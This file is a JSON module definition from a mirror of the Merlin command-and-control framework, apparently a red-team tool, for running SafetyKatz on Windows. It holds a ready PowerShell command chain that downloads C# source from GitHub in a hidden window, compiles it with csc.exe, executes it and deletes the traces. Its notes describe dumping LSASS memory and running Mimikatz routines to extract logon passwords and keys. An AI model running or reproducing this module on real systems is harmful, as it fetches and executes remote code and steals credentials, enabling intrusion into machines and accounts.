mirror of
https://github.com/Ne0nd0g/merlin
synced 2026-06-08 11:59:20 +00:00
35 lines
2.7 KiB
JSON
35 lines
2.7 KiB
JSON
{
|
|
"base": {
|
|
"name": "SafetyKatz",
|
|
"type": "standard",
|
|
"author": ["Russel Van Tuyl (@Ne0nd0g)"],
|
|
"credits": ["Will Schroeder (@harmj0y)"],
|
|
"path": ["windows", "x64", "csharp", "credentials", "SafetyKatz.json"],
|
|
"platform": "windows",
|
|
"arch": "x64",
|
|
"lang": "csharp",
|
|
"privilege": true,
|
|
"remote": "https://raw.githubusercontent.com/GhostPack/SafetyKatz/master/SafetyKatz/Program.cs",
|
|
"local": ["data", "src", "GhostPack", "SafetyKatz", "SafetyKatz", "Program.cs"],
|
|
"options": [
|
|
{"name": ".NetVersion", "value": "v4.*", "required": true, "flag": "", "description":"The .Net Framework version compiler to use (i.e. v3.0, v3.5, or v4.*)"},
|
|
{"name": "FileName1", "value": "SafetyKatz", "required": true, "flag": "", "description":"The downloaded filename, without the file extension, used for the resulting SafetyKatz source code and compiled files"},
|
|
{"name": "FileName2", "value": "Constants", "required": true, "flag": "", "description":"The downloaded filename, without the file extension, used for the resulting Constants source code file"}
|
|
],
|
|
"description": "SafetyKatz is a combination of slightly modified version of @gentilkiwi's Mimikatz project and @subTee's .NET PE Loader. This module downloads the project's C# source code files, compiles them with .Net's csc.exe, executes it, and then deletes the files.",
|
|
"notes": "\r\n\t-SafetyKatz was created by Will Schroeder (@harmj0y) and is part of the 👻 GhostPack tool set: https://github.com/GhostPack/SafetyKatz\r\n\t-First, the MiniDumpWriteDump Win32 API call is used to create a minidump of LSASS to C:\\Windows\\Temp\\debug.bin. Then @subtee's PELoader is used to load a customized version of Mimikatz that runs sekurlsa::logonpasswords and sekurlsa::ekeys on the minidump file, removing the file after execution is complete.",
|
|
"commands": [
|
|
"powershell.exe",
|
|
"-nop",
|
|
"-w 1",
|
|
"\"",
|
|
"(New-Object System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/GhostPack/SafetyKatz/master/SafetyKatz/Program.cs', $env:APPDATA+'\\\\{{FileName1.Value}}.cs');",
|
|
"(New-Object System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/GhostPack/SafetyKatz/master/SafetyKatz/Constants.cs', $env:APPDATA+'\\\\{{FileName2.Value}}.cs');",
|
|
"c:\\\\Windows\\\\Microsoft.NET\\\\Framework64\\\\{{.NetVersion.Value}}\\\\csc.exe /unsafe /out:$env:APPDATA\\\\{{FileName1.Value}}.exe $env:APPDATA\\\\{{FileName1.Value}}.cs $env:APPDATA\\\\{{FileName2.Value}}.cs;",
|
|
"&$env:APPDATA\\\\{{FileName1.Value}}.exe",
|
|
";del $env:APPDATA\\\\{{FileName1.Value}}.*",
|
|
";del $env:APPDATA\\\\{{FileName2.Value}}.*",
|
|
"\""
|
|
]
|
|
}
|
|
} |